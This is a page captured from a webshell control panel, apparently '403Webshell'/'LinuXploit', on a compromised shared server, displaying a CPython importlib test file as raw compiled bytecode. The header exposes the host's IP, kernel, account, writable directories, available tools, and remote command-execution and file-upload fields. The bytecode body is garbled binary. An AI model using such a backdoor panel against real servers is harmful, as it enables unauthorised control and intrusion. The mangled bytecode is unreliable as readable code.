403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.95
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/test_importlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/test_importlib/__pycache__/test_spec.cpython-36.pyc
3

�w2_"w�@s.ddlmZejd�Zejd�Zejd�ZddlZddlZddl	m
Z
ddlZddlZddl
Z
Gdd	�d	�ZGd
d�de�ZGdd
�d
e�ZGdd�d�Zejeeed�\ZZGdd�d�Zejeeeed�\ZZGdd�d�Zejeeeed�\ZZGdd�d�Zejeeed�\ZZedk�r*ej�dS)�)�util�	importlibzimportlib.machineryzimportlib.util�N)�CleanImportc@s>eZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�ZdS)�
TestLoaderNcCs||_||_dS)N)�path�package)�selfr�
is_package�r�B/opt/alt/python36/lib64/python3.6/test/test_importlib/test_spec.py�__init__szTestLoader.__init__cCsdS)Nz<TestLoader object>r)r	rrr�__repr__szTestLoader.__repr__cCs2|dkr|jdk	r|jS|dkr&|jSt|��dS)N�get_filenamer
)r�
_get_filename�_is_package�AttributeError)r	�namerrr�__getattr__s
zTestLoader.__getattr__cCs|jS)N)r)r	rrrrr szTestLoader._get_filenamecCs|jS)N)r)r	rrrrr#szTestLoader._is_packagecCsdS)Nr)r	�specrrr�
create_module&szTestLoader.create_module)NN)	�__name__�
__module__�__qualname__r
rrrrrrrrrrs
rc@seZdZdZdd�ZdS)�	NewLoaderrcCs|j|_dS)N)�EGGS�eggs)r	�modulerrr�exec_module.szNewLoader.exec_moduleN)rrrrrrrrrr*src
@sFeZdZdZej��(ejde�edZ	e	j
dd��ZWdQRXdS)�LegacyLoaderr�ignoreZFrozencCs|j|_|S)N)�HAM�ham)r	rrrr�load_module;szLegacyLoader.load_moduleN���)rrrr!�warnings�catch_warnings�simplefilter�DeprecationWarningrZfrozen_util�module_for_loaderr#rrrrr2s

rc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'S)(�ModuleSpecTestscCs^d|_d|_|jj|j�|_t�|_|jj|j|j�|_	|jj|j|j|jd�|_
d|j
_dS)N�spamzspam.py)�originT)rrr�cache_from_source�cachedr�loader�	machinery�
ModuleSpecr�loc_spec�
_set_fileattr)r	rrr�setUpCszModuleSpecTests.setUpcCsz|jj|j|j�}|j|j|j�|j|j|j�|j|jd�|j|jd�|j|jd�|j|j	d�|j
|j�dS)N)r0r1rr/�assertEqual�assertIsr,�loader_state�submodule_search_locationsr.�assertFalse�has_location)r	rrrr�test_defaultMszModuleSpecTests.test_defaultcCsv|jj|jd�}|j|j|j�|j|jd�|j|jd�|j|jd�|j|jd�|j|j	d�|j
|j�dS)N)r0r1rr5r6r/r,r7r8r.r9r:)r	rrrr�test_default_no_loaderXsz&ModuleSpecTests.test_default_no_loadercCs~|jj|j|jdd�}|j|j|j�|j|j|j�|j|jd�|j|jd�|j|jd�|j|j	d�|j
|j�dS)NF)r
)r0r1rr/r5r6r,r7r8r.r9r:)r	rrrr�test_default_is_package_falsecsz-ModuleSpecTests.test_default_is_package_falsecCs~|jj|j|jdd�}|j|j|j�|j|j|j�|j|jd�|j|jd�|j|jg�|j|j	d�|j
|j�dS)NT)r
)r0r1rr/r5r6r,r7r8r.r9r:)r	rrrr�test_default_is_package_trueosz,ModuleSpecTests.test_default_is_package_truecCs8|jj|j|jdd�}|j|j�d|_|j|j�dS)NZ	somewhere)r,T)r0r1rr/r9r:�
assertTrue)r	rrrr�test_has_location_setter{s
z(ModuleSpecTests.test_has_location_settercCs2ttj�|j|jddddd�}|j|j|k�dS)NF)rr/r,r8r:r.)�type�sys�implementationrr/r?r)r	�otherrrr�
test_equality�szModuleSpecTests.test_equalitycCs4ttj�|j|j|jdd|jd�}|j|j|�dS)NT)rr/r,r8r:r.)	rArBrCrr/rr.r5r2)r	rDrrr�test_equality_location�s
z&ModuleSpecTests.test_equality_locationcCs.ttj�d|jddddd�}|j|j|�dS)Nr"F)rr/r,r8r:r.)rArBrCr/�assertNotEqualr)r	rDrrr�test_inequality�s
zModuleSpecTests.test_inequalitycCs(ttj�|j|jd�}|j|j|�dS)N)rr/)rArBrCrr/rGr)r	rDrrr�test_inequality_incomplete�s
z*ModuleSpecTests.test_inequality_incompletecCs"|jjd|j�}|j|jd�dS)Nz	spam.eggsr+)r0r1r/r5�parent)r	rrrr�test_package�szModuleSpecTests.test_packagecCs&|jjd|jdd�}|j|jd�dS)Nz	spam.eggsT)r
)r0r1r/r5rJ)r	rrrr�test_package_is_package�sz'ModuleSpecTests.test_package_is_packagecCs4|jj}d|j_|jj}|j|d�|j|d�dS)NZthere)rr.r6r5)r	Zbefore�afterrrr�test_cached_set�s
zModuleSpecTests.test_cached_setcCs$|jj|j|j�}|j|jd�dS)N)r0r1rr/r6r.)r	rrrr�test_cached_no_origin�sz%ModuleSpecTests.test_cached_no_origincCs*|jj|j|j|jd�}|j|jd�dS)N)r,)r0r1rr/rr6r.)r	rrrr�$test_cached_with_origin_not_location�s
z4ModuleSpecTests.test_cached_with_origin_not_locationcCs"|jj|j�}|j|jj|�dS)N)rr-rr5r2r.)r	Zexpectedrrr�test_cached_source�sz"ModuleSpecTests.test_cached_sourcecCsd|j_|j|jjd�dS)Nzspam.spamspamspam)r2r,r6r.)r	rrr�!test_cached_source_unknown_suffix�sz1ModuleSpecTests.test_cached_source_unknown_suffixcCs8tjj}dtj_z|jj}Wd|tj_X|j|d�dS)N)rBrC�	cache_tagr2r.r6)r	Zoriginalr.rrr�$test_cached_source_missing_cache_tag�s
z4ModuleSpecTests.test_cached_source_missing_cache_tagcCsd|j_|j|jjd�dS)Nzspam.pyc)r2r,r5r.)r	rrr�test_cached_sourceless�sz&ModuleSpecTests.test_cached_sourcelessN)rrrr4r;r<r=r>r@rErFrHrIrKrLrNrOrPrQrRrTrUrrrrr*As&

r*)rr0c@s�eZdZedd��Zdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�ZdS) �ModuleSpecMethodsTestscCs|jjS)N)�init�
_bootstrap)r	rrr�	bootstrap�sz ModuleSpecMethodsTests.bootstrapcCs^d|_d|_|jj|j�|_t�|_|jj|j|j�|_	|jj|j|j|jd�|_
d|j
_dS)Nr+zspam.py)r,T)rrrr-r.rr/r0r1rr2r3)r	rrrr4�szModuleSpecMethodsTests.setUpcCsVt�|j_|jj|j�}|tj|j<|jt	|d��|j
j|j|�|j|j
d�dS)Nrr)rrr/r�module_from_specrB�modulesrr9�hasattrrY�_execr5r)r	rrrr�	test_exec�s
z ModuleSpecMethodsTests.test_execc
Cs\t�|j_t|jj��"|jj|j�}tj|jj}WdQRX|j	|j
d�|j||�dS)Nr)rrr/rrrY�_loadrBr[r5rr6)r	�loaded�	installedrrr�	test_loads
z ModuleSpecMethodsTests.test_loadc
stt��G�fdd�dt�}|�|j_t|jj��"|jj|j�}tj	|jj}WdQRX|j
|��|j
|��dS)NcseZdZ�fdd�ZdS)zBModuleSpecMethodsTests.test_load_replaced.<locals>.ReplacingLoadercs�tj|j<dS)N)rBr[r)r	r)�replacementrrrszNModuleSpecMethodsTests.test_load_replaced.<locals>.ReplacingLoader.exec_moduleN)rrrrr)rcrr�ReplacingLoadersrd)�objectrrr/rrrYr_rBr[r6)r	rdr`rar)rcr�test_load_replaceds
z)ModuleSpecMethodsTests.test_load_replacedcCslGdd�dt�}|�|j_t|jj��<|jt��|jj|j�}WdQRX|j	|jjt
j�WdQRXdS)Nc@seZdZdd�ZdS)z=ModuleSpecMethodsTests.test_load_failed.<locals>.FailedLoadercSst�dS)N)�RuntimeError)r	rrrrrszIModuleSpecMethodsTests.test_load_failed.<locals>.FailedLoader.exec_moduleN)rrrrrrrr�FailedLoadersrh)rrr/rr�assertRaisesrgrYr_�assertNotInrBr[)r	rhr`rrr�test_load_faileds
z'ModuleSpecMethodsTests.test_load_failedcCslGdd�dt�}|�|j_t|jj��<|jt��|jj|j�}WdQRX|j	|jjt
j�WdQRXdS)Nc@seZdZdd�ZdS)zEModuleSpecMethodsTests.test_load_failed_removed.<locals>.FailedLoadercSstj|j=t�dS)N)rBr[rrg)r	rrrrr(s
zQModuleSpecMethodsTests.test_load_failed_removed.<locals>.FailedLoader.exec_moduleN)rrrrrrrrrh'srh)rrr/rrrirgrYr_rjrBr[)r	rhr`rrr�test_load_failed_removed&s
z/ModuleSpecMethodsTests.test_load_failed_removedc
CsBt�|j_t|jj��|jj|j�}WdQRX|j|jd�dS)Nrr$)	rrr/rrrYr_r5r")r	r`rrr�test_load_legacy1s
z'ModuleSpecMethodsTests.test_load_legacyc
Csht�|j_t|jj��|jj|j�}WdQRX|j|j|jj�|j	|j
|jj�|j|j|j�dS)N)
rrr/rrrYr_r6�
__loader__r5�__package__rJ�__spec__)r	r`rrr�test_load_legacy_attributes8s
z2ModuleSpecMethodsTests.test_load_legacy_attributesc
sdt��G�fdd�dt�}|�|j_t|jj��*|jj|j�}|jt	j
|jj��WdQRXdS)NcseZdZ�fdd�ZdS)zUModuleSpecMethodsTests.test_load_legacy_attributes_immutable.<locals>.ImmutableLoadercs�tj|<�S)N)rBr[)r	r)rrrr#Ds
zaModuleSpecMethodsTests.test_load_legacy_attributes_immutable.<locals>.ImmutableLoader.load_moduleN)rrrr#r)rrr�ImmutableLoaderCsrr)rerrr/rrrYr_r6rBr[)r	rrr`r)rr�%test_load_legacy_attributes_immutableAs
z<ModuleSpecMethodsTests.test_load_legacy_attributes_immutablec
Csxt�|j_t|jj��2|jj|j�}|jj|j|�}tj	|jj}WdQRX|j
|jd�|j||�|j||�dS)Nr)
rrr/rrrYr_r]rBr[r5rr6)r	r`�reloadedrarrr�test_reloadOs
z"ModuleSpecMethodsTests.test_reloadc
Csdt�|j_t|jj��*|jj|j�}d|_|jj|j|�}WdQRX|j	|jd�|j
||�dS)N�r)rrr/rrrYr_rr]r5r6)r	r`rtrrr�test_reload_modifiedZs
z+ModuleSpecMethodsTests.test_reload_modifiedc
Csbt�|j_t|jj��*|jj|j�}d|_|jj|j|�}WdQRX|j	|j�|j
||�dS)NF)rrr/rrrYr_Z	availabler]r9r6)r	r`rtrrr�test_reload_extra_attributesds
z3ModuleSpecMethodsTests.test_reload_extra_attributescCs�t�|j_t|jj��6|jj|j�}d|_|`|`	|`
|jj|j|�WdQRX|j|j|jj�|j
|j|jj�|j|j	|jj�|j
|j
|j�|jt|d��|jt|d��|jt|d��dS)Nr"�__path__�__file__�
__cached__)rrr/rrrYr_rrnrorpr]r5r6rJr9r\)r	r`rrr�test_reload_init_module_attrsns
z4ModuleSpecMethodsTests.test_reload_init_module_attrsc
Csxt�|j_t|jj��2|jj|j�}|jj|j|�}tj	|jj}WdQRX|j
|jd�|j||�|j||�dS)Nrr$)
rrr/rrrYr_r]rBr[r5r"r6)r	r`rtrarrr�test_reload_legacy�s
z)ModuleSpecMethodsTests.test_reload_legacyN)rrr�propertyrYr4r^rbrfrkrlrmrqrsrurwrxr|r}rrrrrV�s	

	

rV)rWrr0c@speZdZedd��Zdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�ModuleReprTestscCs|jjS)N)rWrX)r	rrrrY�szModuleReprTests.bootstrapcCs$tt�d�|_|jjdt��|_dS)Nr+)rA�osrr0r1rr)r	rrrr4�szModuleReprTests.setUpcCs6Gdd�d�}|�|j_|jj|j�}|j|d�dS)Nc@seZdZdd�ZdS)zBModuleReprTests.test_module___loader___module_repr.<locals>.LoadercSsdj|j�S)Nz<delicious {}>)�formatr)r	rrrr�module_repr�szNModuleReprTests.test_module___loader___module_repr.<locals>.Loader.module_reprN)rrrr�rrrr�Loader�sr�z<delicious spam>)rrnrY�_module_reprr5)r	r��modreprrrr�"test_module___loader___module_repr�s
z2ModuleReprTests.test_module___loader___module_reprcCs>Gdd�dt�}|�|j_|jj|j�}|j|djd��dS)Nc@seZdZdd�ZdS)zFModuleReprTests.test_module___loader___module_repr_bad.<locals>.LoadercSst�dS)N)�	Exception)r	rrrrr��szRModuleReprTests.test_module___loader___module_repr_bad.<locals>.Loader.module_reprN)rrrr�rrrrr��sr�z#<module {!r} (<TestLoader object>)>r+)rrrnrYr�r5r�)r	r�r�rrr�&test_module___loader___module_repr_bad�s

z6ModuleReprTests.test_module___loader___module_repr_badcCs<d}||j_|j|j_|jj|j�}|j|djd|��dS)Nzin a hole, in the groundz<module {!r} ({})>r+)rr,rrprYr�r5r�)r	r,r�rrr�test_module___spec__�s

z$ModuleReprTests.test_module___spec__cCsDd}||j_d|j_|j|j_|jj|j�}|j|djd|��dS)Nzin_a_galaxy_far_far_away.pyTz<module {!r} from {!r}>r+)	rr,r3rrprYr�r5r�)r	�locationr�rrr�test_module___spec___location�s
z-ModuleReprTests.test_module___spec___locationcCs8t�|j_|j|j_|jj|j�}|j|djd��dS)Nz#<module {!r} (<TestLoader object>)>r+)	rrr/rrprYr�r5r�)r	r�rrr�test_module___spec___no_origin�s


z.ModuleReprTests.test_module___spec___no_origincCs6d|j_|j|j_|jj|j�}|j|djd��dS)Nz
<module {!r}>r+)rr/rrprYr�r5r�)r	r�rrr�(test_module___spec___no_origin_no_loader�s
z8ModuleReprTests.test_module___spec___no_origin_no_loadercCs*|j`|jj|j�}|j|djd��dS)Nz
<module {!r}>�?)rrrYr�r5r�)r	r�rrr�test_module_no_name�sz#ModuleReprTests.test_module_no_namecCs2d}||j_|jj|j�}|j|djd|��dS)Nze/i/e/i/o/spam.pyz<module {!r} from {!r}>r+)rrzrYr�r5r�)r	�filenamer�rrr�test_module_with_file�s
z%ModuleReprTests.test_module_with_filecCs.t�|j_|jj|j�}|j|djd��dS)Nz#<module {!r} (<TestLoader object>)>r+)rrrnrYr�r5r�)r	r�rrr�test_module_no_file�s
z#ModuleReprTests.test_module_no_filecCs$|jj|j�}|j|djd��dS)Nz
<module {!r}>r+)rYr�rr5r�)r	r�rrr�test_module_no_file_no_loader�sz-ModuleReprTests.test_module_no_file_no_loaderN)rrrr~rYr4r�r�r�r�r�r�r�r�r�r�rrrrr�s	

rc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5S)6�FactoryTestscCsBd|_d|_|jj|j�|_t�|_t|j�|_t|jd�|_dS)Nr+zspam.pyT)	rrrr-r.rr/�
fileloader�	pkgloader)r	rrrr4�szFactoryTests.setUpcCsz|jj|j|j�}|j|j|j�|j|j|j�|j|jd�|j|jd�|j|jd�|j|j	d�|j
|j�dS)N)r�spec_from_loaderrr/r5r6r,r7r8r.r9r:)r	rrrr�test_spec_from_loader_default�sz*FactoryTests.test_spec_from_loader_defaultcCs�Gdd�d�}|�}|jj|j|�}|j|j|j�|j|j|�|j|jd�|j|jd�|j|jd�|j|j	d�|j
|j�dS)Nc@seZdZdd�ZdS)zNFactoryTests.test_spec_from_loader_default_with_bad_is_package.<locals>.LoadercSst�dS)N)�ImportError)r	rrrrr

szYFactoryTests.test_spec_from_loader_default_with_bad_is_package.<locals>.Loader.is_packageN)rrrr
rrrrr�	sr�)rr�rr5r/r6r,r7r8r.r9r:)r	r�r/rrrr�1test_spec_from_loader_default_with_bad_is_packagesz>FactoryTests.test_spec_from_loader_default_with_bad_is_packagecCs�d}|jj|j|j|d�}|j|j|j�|j|j|j�|j|j|�|j|jd�|j|jd�|j|j	d�|j
|j�dS)Nzsomewhere over the rainbow)r,)rr�rr/r5r6r,r7r8r.r9r:)r	r,rrrr�test_spec_from_loader_originsz)FactoryTests.test_spec_from_loader_origincCs~|jj|j|jdd�}|j|j|j�|j|j|j�|j|jd�|j|jd�|j|jd�|j|j	d�|j
|j�dS)NF)r
)rr�rr/r5r6r,r7r8r.r9r:)r	rrrr�&test_spec_from_loader_is_package_false$sz3FactoryTests.test_spec_from_loader_is_package_falsecCs~|jj|j|jdd�}|j|j|j�|j|j|j�|j|jd�|j|jd�|j|jg�|j|j	d�|j
|j�dS)NT)r
)rr�rr/r5r6r,r7r8r.r9r:)r	rrrr�%test_spec_from_loader_is_package_true0sz2FactoryTests.test_spec_from_loader_is_package_truecCs�d}|jj|j|j|dd�}|j|j|j�|j|j|j�|j|j|�|j|jd�|j|jg�|j|j	d�|j
|j�dS)Nzwhere the streets have no nameT)r,r
)rr�rr/r5r6r,r7r8r.r9r:)r	r,rrrr�+test_spec_from_loader_origin_and_is_package<s
z8FactoryTests.test_spec_from_loader_origin_and_is_packagecCs�tdd�}|jj|j|�}|j|j|j�|j|j|�|j|jd�|j|jd�|j|j	d�|j|j
d�|j|j�dS)NF)r
)
rrr�rr5r/r6r,r7r8r.r9r:)r	r/rrrr�2test_spec_from_loader_is_package_with_loader_falseIs
z?FactoryTests.test_spec_from_loader_is_package_with_loader_falsecCs�tdd�}|jj|j|�}|j|j|j�|j|j|�|j|jd�|j|jd�|j|j	g�|j|j
d�|j|j�dS)NT)r
)
rrr�rr5r/r6r,r7r8r.r9r:)r	r/rrrr�1test_spec_from_loader_is_package_with_loader_trueUs
z>FactoryTests.test_spec_from_loader_is_package_with_loader_truecCs~|jj|j|j�}|j|j|j�|j|j|j�|j|j|j�|j|j	d�|j|j
d�|j|j|j�|j|j
�dS)N)rr�rr�r5r/r,rr6r7r8r.r?r:)r	rrrr�.test_spec_from_loader_default_with_file_loaderasz;FactoryTests.test_spec_from_loader_default_with_file_loadercCs�|jj|j|jdd�}|j|j|j�|j|j|j�|j|j|j�|j|j	d�|j|j
d�|j|j|j�|j|j
�dS)NF)r
)rr�rr�r5r/r,rr6r7r8r.r?r:)r	rrrr�6test_spec_from_loader_is_package_false_with_fileloaderlszCFactoryTests.test_spec_from_loader_is_package_false_with_fileloadercCs�|jj|j|jdd�}|j|j|j�|j|j|j�|j|j|j�|j|j	d�|j|j
dg�|j|j|j�|j|j
�dS)NT)r
�)rr�rr�r5r/r,rr6r7r8r.r?r:)r	rrrr�5test_spec_from_loader_is_package_true_with_fileloaderxszBFactoryTests.test_spec_from_loader_is_package_true_with_fileloadercCs�|jj|j|j�}|j|j|j�|j|j|jjjj	�|j|jj|j�|j|jj|j�|j|j
|j�|j|jd�|j|j
d�|j|j|j�|j|j�dS)N)r�spec_from_file_locationrrr5ZassertIsInstancer/�abcr0�SourceFileLoaderr,r6r7r8r.r?r:)r	rrrr�$test_spec_from_file_location_default�sz1FactoryTests.test_spec_from_file_location_defaultcCs,|jj|jtj|j��}|j|j|j�dS)N)rr�r�pathlibZPurePathrr5r,)r	rrrr�*test_spec_from_file_location_path_like_arg�s
z7FactoryTests.test_spec_from_file_location_path_like_argcCs|jj|j�}|j|d�dS)N)rr�rr6)r	rrrr�5test_spec_from_file_location_default_without_location�szBFactoryTests.test_spec_from_file_location_default_without_locationcCs |jj|jd�}|j|d�dS)Nz	spam.eggs)rr�rr6)r	rrrr�/test_spec_from_file_location_default_bad_suffix�sz<FactoryTests.test_spec_from_file_location_default_bad_suffixcCs�|jj|j|jd�}|j|j|j�|j|j|j�|j|j|j�|j|j	d�|j|j
d�|j|j|j�|j|j
�dS)N)r/)rr�rr�r5r/r,rr6r7r8r.r?r:)r	rrrr�/test_spec_from_file_location_loader_no_location�s

z<FactoryTests.test_spec_from_file_location_loader_no_locationcCs||jj|j|jd�}|j|j|j�|j|j|j�|j|jd�|j|jd�|j|jd�|j|j	d�|j
|j�dS)N)r/z	<unknown>)rr�rr/r5r,r6r7r8r.r?r:)r	rrrr�?test_spec_from_file_location_loader_no_location_no_get_filename�s

zLFactoryTests.test_spec_from_file_location_loader_no_location_no_get_filenamecCs�Gdd�d�}|�}|jj|j|d�}|j|j|j�|j|j|�|j|jd�|j|jd�|j|jd�|j|j	d�|j
|j�dS)Nc@seZdZdd�ZdS)z]FactoryTests.test_spec_from_file_location_loader_no_location_bad_get_filename.<locals>.LoadercSst�dS)N)r�)r	rrrrr�szjFactoryTests.test_spec_from_file_location_loader_no_location_bad_get_filename.<locals>.Loader.get_filenameN)rrrrrrrrr��sr�)r/z	<unknown>)rr�rr5r/r,r6r7r8r.r?r:)r	r�r/rrrr�@test_spec_from_file_location_loader_no_location_bad_get_filename�szMFactoryTests.test_spec_from_file_location_loader_no_location_bad_get_filenamecCs�|jj|j|j|jdd�}|j|j|j�|j|j|j�|j|j|j�|j|j	d�|j|j
d�|j|j|j�|j|j
�dS)N)r/r8)rr�rrr�r5r/r,r6r7r8r.r?r:)r	rrrr�&test_spec_from_file_location_smsl_none�sz3FactoryTests.test_spec_from_file_location_smsl_nonecCs�|jj|j|j|jgd�}|j|j|j�|j|j|j�|j|j|j�|j|j	d�|j|j
dg�|j|j|j�|j|j
�dS)N)r/r8r�)rr�rrr�r5r/r,r6r7r8r.r?r:)r	rrrr�'test_spec_from_file_location_smsl_empty�sz4FactoryTests.test_spec_from_file_location_smsl_emptycCs�|jj|j|j|jdgd�}|j|j|j�|j|j|j�|j|j|j�|j|j	d�|j|j
dg�|j|j|j�|j|j
�dS)Nr)r/r8)rr�rrr�r5r/r,r6r7r8r.r?r:)r	rrrr�+test_spec_from_file_location_smsl_not_empty�s
z8FactoryTests.test_spec_from_file_location_smsl_not_emptycCs�|jj|j|j|jd�}|j|j|j�|j|j|j�|j|j|j�|j|j	d�|j|j
dg�|j|j|j�|j|j
�dS)N)r/r�)rr�rrr�r5r/r,r6r7r8r.r?r:)r	rrrr�)test_spec_from_file_location_smsl_default�s
z6FactoryTests.test_spec_from_file_location_smsl_defaultcCs�Gdd�d�}|�}|jj|j|j|d�}|j|j|j�|j|j|�|j|j|j�|j|jd�|j|j	d�|j|j
|j
�|j|j�dS)Nc@seZdZdd�ZdS)zRFactoryTests.test_spec_from_file_location_smsl_default_not_package.<locals>.LoadercSsdS)NFr)r	rrrrr
sz]FactoryTests.test_spec_from_file_location_smsl_default_not_package.<locals>.Loader.is_packageN)rrrr
rrrrr�sr�)r/)
rr�rrr5r/r,r6r7r8r.r?r:)r	r�r/rrrr�5test_spec_from_file_location_smsl_default_not_packageszBFactoryTests.test_spec_from_file_location_smsl_default_not_packagecCs�|jj|j|j|jd�}|j|j|j�|j|j|j�|j|j|j�|j|j	d�|j|j
d�|j|j|j�|j|j
�dS)N)r/)rr�rrr�r5r/r,r6r7r8r.r?r:)r	rrrr�7test_spec_from_file_location_smsl_default_no_is_packages
zDFactoryTests.test_spec_from_file_location_smsl_default_no_is_packagecCs�Gdd�d�}|�}|jj|j|j|d�}|j|j|j�|j|j|�|j|j|j�|j|jd�|j|j	d�|j|j
|j
�|j|j�dS)Nc@seZdZdd�ZdS)zUFactoryTests.test_spec_from_file_location_smsl_default_bad_is_package.<locals>.LoadercSst�dS)N)r�)r	rrrrr
sz`FactoryTests.test_spec_from_file_location_smsl_default_bad_is_package.<locals>.Loader.is_packageN)rrrr
rrrrr�sr�)r/)
rr�rrr5r/r,r6r7r8r.r?r:)r	r�r/rrrr�8test_spec_from_file_location_smsl_default_bad_is_packageszEFactoryTests.test_spec_from_file_location_smsl_default_bad_is_packageN)rrrr4r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr��s4





r��__main__) r�rZ	test_utilZimport_importlibrWr0Zos.pathr�r�Ztest.supportrZunittestrBr%rrrr*Z	test_bothZFrozen_ModuleSpecTestsZSource_ModuleSpecTestsrVZFrozen_ModuleSpecMethodsTestsZSource_ModuleSpecMethodsTestsrZFrozen_ModuleReprTestsZSource_ModuleReprTestsr�ZFrozen_FactoryTestsZSource_FactoryTestsr�mainrrrr�<module>s8


&&
[
@


Youez - 2016 - github.com/yon3zu
LinuXploit